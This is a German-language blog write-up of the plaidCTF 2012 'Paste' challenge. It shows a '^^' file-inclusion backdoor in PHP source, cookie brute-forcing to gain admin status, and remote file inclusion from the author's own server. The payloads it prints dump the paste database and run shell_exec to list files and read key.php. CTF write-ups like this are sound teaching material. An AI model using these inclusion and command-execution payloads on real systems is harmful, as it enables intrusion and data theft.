plaidCTF 2012 – Paste

plaidCTF 2012 - Paste - task description

Bei dieser Challenge (Paste) wird uns ein Webserver genannt, der eine Paste-Engine betreibt. Unser Auftrag ist es herauszufinden, welche Daten auf dieser Webseite ausgetauscht wurden. Dafür bekommen wir zusätzlich noch den Quellcode der Paste-Seite zur Verfügung gestellt.

Zunächst rufen wir die Webseite auf um uns einen Überblick zu verschaffen.

plaidCTF 2012 - Paste - website

Es handelt sich um eine Paste-Engine zum Einfügen von Quellcode. Dazu können die Pastes mit Beschreibungen versehen und bestehende Pastes mit weiteren Daten als Followup ergänzt werden. Um nicht per Hand nach möglichen Schwachstellen suchen zu müssen, sehen wir uns direkt die vorhandenen Quellcodes an.

Beim Überprüfen der Quellcodes, ob für alle Übergabeparameter Funktionen wie “htmlspecialchars()” oder “mysql_real_escape_string()” verwendet wurden, stoße ich in der Datei “display_paste.php” auf folgende Anweisungen:

if (strcmp(substr($description, 0, 2), "^^") == 0) {
  require(substr($description, 2) . ".txt");
}

Scheinbar ist im Quellcode eine “Hintertür” vorgesehen, für den Fall, dass die Beschreibung eines Pastes mit den Zeichen “^^” beginnt. Dann sollen nämlich die Zeichen hinter “^^” mit “.txt” ergänzt und der Inhalt dieser Datei als PHP-Code in die Seite eingebunden werden. Es scheint sich also um eine klassiche “file inclusion” zu handeln.

Das Verwenden der Zeichen “^^” stellt sich jedoch als schwieriger als gedacht heraus, denn in beim Erstellen eines normales Pastes durch die Datei “make_paste.php” wird das Einfügen der Zeichen im Beschreibungsfeld wie folgt verhindert:

while (strlen($description) > 0 && strcmp(substr($description, 0, 2), "^^") == 0)
  $description = substr($description, 2);

Hier kommen wir also nicht vorbei. Beim weiteren Sichten der Quellcodes fällt in der Datei “make_followup.php” jedoch sofort folgender Bereich auf:

if (!(isset($_COOKIE[PASTE_ADMIN]) && $_COOKIE[PASTE_ADMIN] == 'TRUE')) {
  $admin = true;
  foreach ($_COOKIE as $name => $value) {
    if ($value == 'TRUE' && $name != PASTE_ADMIN) {
      $admin = false; break;
    }
  }
  while (!$admin && strlen($description) > 0 && strcmp(substr($description, 0, 2), "^^") == 0) {
    $description = substr($description, 2);
  }
}

Als Followup scheint es also möglich zu sein, die Zeichen “^^” in die Beschreibung einzufügen! Jedoch nur, wenn man als Administrator erkannt wird. Dies scheint über ein Cookie gesteuert zu werden, dass hier mit dem Platzhalter “PASTE_ADMIN” gekennzeichnet ist. Sehen wir uns als nächstes einmal die von der Seite gesetzten Cookies an.

plaidCTF 2012 - Paste - cookies

Die Seite setzt also elf Cookies von denen jedes zunächst mit dem Wert “FALSE” belegt ist. Wir müssen nun herausfinden, welches dieser Cookies das “PASTE_ADMIN”-Cookie darstellt. Dabei dürfen wir jedoch jeweils immer nur einem Cookie den Wert “TRUE” zuzuweisen, da bei zwei positiven Cookies die Administrator-Überprüfung nicht funktioniert (siehe oben – Auszug aus “make_followup.php”).

Wir setzen also nacheinander die Cookies auf “TRUE” und prüfen durch Anlegen eines neuen Followups mit der Beschreibung “^^foobar”, ob wir als Administrator erkannt werden und die Webseite versucht, die Datei “foobar.txt” nachzuladen. Nach zwei Versuchen ist der Cookie bereits gefunden – die Seite bleibt leer, da PHP die Datei nicht finden kann und durch die Verwendung von “require()” die Verarbeitung abbricht.

Nun geht es daran, diesen Zustand weiter auszunutzen. Da wir keinen Anhaltspunkt dafür haben, wie wir Dateien lokal auf dem System anlegen können, habe ich die Hoffnung, dass es sich bei der Schwachstelle um eine remote file inclusion handelt, also die PHP-Funktion “allow_url_include” aktiviert ist. ( Diese Information findet man übrigens auch in der README-Datei, wenn man vorher reinsehen würde :-P)

Da wir herausfinden sollen, welche Daten über diese Webseite ausgetauscht wurden, könnte sich ein Blick in die gespeicherten Pastes lohnen. Dazu lege ich eine Datei namens “include” mit folgendem Inhalt auf meinem Server ab:

<?php
  print "GOGO:<br>\n";
  $query = $db->query("SELECT * FROM pastes ORDER BY id");

  while ($result = $db->fetch_row()) {
    print "id: <pre>" . $result['id'] . "</pre><br>\n";
    print "lang: <pre>" . $result['language'] . "</pre><br>\n";
    print "text: <pre>" . $result['text'] . "</pre><br>\n";
    print "par: <pre>" . $result['parent'] . "</pre><br>\n";
    print "desc: <pre>" . $result['description'] . "</pre><br>\n";
    print "<hr>";
  }
?>

Anschließend erstelle ich einen neuen Followup mit der Beschreibung “^^http://f00l.de/include”. Wir haben Glück – es handelt sich tatsächlich um eine remote file inclusion und erhalten dieses Ergebnis und damit den Inhalt der gesamten SQL-Datenbank.

Nachdem ich eine Stunde die Pastes durchgesehen habe, nach Paste-IDs sortiert und nach Schlüsselbegriffen gesucht habe, komme ich zu dem Schluss, dass die gesuchten Informationen wohlmöglich trotzt Aufgabenbeschreibung gar nicht in der Datenbank selbst zu finden sind.

Als nächstes wollen wir uns daher das Dateisystem ansehen und bringen folgenden PHP-Code mit der selben Methode zur Ausführung:

<?php
  $cmd = shell_exec('ls -la');
  echo "<pre>$cmd</pre>\n";
?>

Dabei fällt sofort die Datei “key.php” ins Auge. Mit ein paar kleinen Anpassungen des obigen Skriptes erhalten wir folgenden Code:

<?php
  $cmd = shell_exec('cat key.php');
  echo "<pre>$cmd</pre>\n";
?>

Nachdem unsere Datei erneut inkludiert wurde, können wir den Inhalt der Datei “key.php” direkt im Browser auslesen:

plaidCTF 2012 - Paste - remote code inclusion

Die Lösung lautet also “s0m3_php_d3v5_actually_d0_th15“.

Leave a Reply

Your email address will not be published. Required fields are marked *